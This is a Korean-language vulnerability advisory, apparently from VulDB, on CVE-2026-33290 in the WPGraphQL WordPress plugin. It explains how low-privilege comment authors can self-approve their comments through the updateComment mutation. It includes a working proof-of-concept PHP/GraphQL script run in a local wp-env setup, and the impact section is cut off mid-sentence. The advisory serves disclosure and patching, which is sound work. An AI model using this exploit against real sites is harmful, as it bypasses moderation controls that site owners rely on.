CVE-2026-33290 in wp-graphql
요약
\~에 의해 VulDB • 2026. 06. 02.
WPGraphQL는 WordPress 사이트용 GraphQL API를 제공합니다. 버전 2.10.0 이전에는 updateComment에서 권한 부여 결함이 있어, moderate_comments 능력을 가지지 않은 인증된 저권한 사용자(능력(capabilities)가 전혀 없는 커스텀 역할 포함)가 자신의 댓글 승인 상태를 변경할 수 있습니다(예: APPROVE로 설정). 이를 통해 검토 워크플로우를 우회하여 신뢰할 수 없는 사용자가 콘텐츠를 자체 승인할 수 있게 됩니다. 버전 2.10.0에는 패치가 포함되어 있습니다.
### 상세 정보
WPGraphQL 2.9.1(테스트됨)에서 updateComment의 권한 부여는 필드 기반이 아닌 소유자 기반으로 동작합니다:
- plugins/wp-graphql/src/Mutation/CommentUpdate.php:92은 관리자(moderators)를 허용합니다. - plugins/wp-graphql/src/Mutation/CommentUpdate.php:99:99도 댓글 작성자를 허용하며, 이는 해당 사용자가 관리 능력을 갖추지 않았더라도 마찬가지입니다. - plugins/wp-graphql/src/Data/CommentMutation.php:94:94는 GraphQL 입력 상태(status)를 WordPress의 comment_approved로 직접 매핑합니다. - plugins/wp-graphql/src/Mutation/CommentUpdate.php:120:120은 wp_update_comment를 통해 해당 값을 영구 저장(persist)합니다. - plugins/wp-graphql/src/Type/Enum/CommentStatusEnum.php:22:22는 관리 상태(APPROVE, HOLD, SPAM, TRASH)를 노출합니다.
이는 비관리자 소유자가 업데이트 시 상태를 제출하고 검토 상태를 전환할 수 있음을 의미합니다.
### PoC(Proof of Concept)
WPGraphQL 2.9.1 환경에서 로컬 wp-env(Docker)로 테스트했습니다.
1. 환경 시작:
``` npm install npm run wp-env start ```
2. 다음 PoC 실행:
``` npm run wp-env run cli -- wp eval ' add_role("no_caps","No Caps",[]);
$user_id = username_exists("poc_nocaps"); if ( ! $user_id ) {
$user_id = wp_create_user("poc_nocaps","Passw0rd!","[email protected]"); } $user = get_user_by("id",$user_id); $user->set_role("no_caps");
$post_id = wp_insert_post([
"post_title" => "PoC post", "post_status" => "publish", "post_type" => "post", "comment_status" => "open", ]);
$comment_id = wp_insert_comment([
"comment_post_ID" => $post_id, "comment_content" => "pending comment", "user_id" => $user_id, "comment_author" => $user->display_name, "comment_author_email" => $user->user_email, "comment_approved" => "0", ]);
wp_set_current_user($user_id);
$result = graphql([
"query" => "mutation U(\$id:ID!){ updateComment(input:{id:\$id,status:APPROVE}){ success comment{ databaseId status } } }",
"variables" => [ "id" => (string)$comment_id ],
]);
echo wp_json_encode([
"role_caps" => array_keys(array_filter((array)$user->allcaps)), "status" => $result["data"]["updateComment"]["comment"]["status"] ?? null,
"db_comment_approved" => get_comment($comment_id)->comment_approved ?? null, "comment_id" => $comment_id ]); ' ```
3. 결과 확인:
- role_caps는 비어 있거나(moderate_comments 없음) - mutation은 status: APPROVE를 반환함 - DB 값이 comment_approved = 1로 변경됨
### 영향도
이는 댓글 검토 상태 전환에서 권한 우회(bypass)/잘못된 접근 제어 문제입니다. 저권한 사용자가 댓글을 작성할 수 있는 WPGraphQL 댓글 뮤테이션(comment mutations)을 사용하는 모든
VulDB is the best source for vulnerability data and more expert information about this specific topic.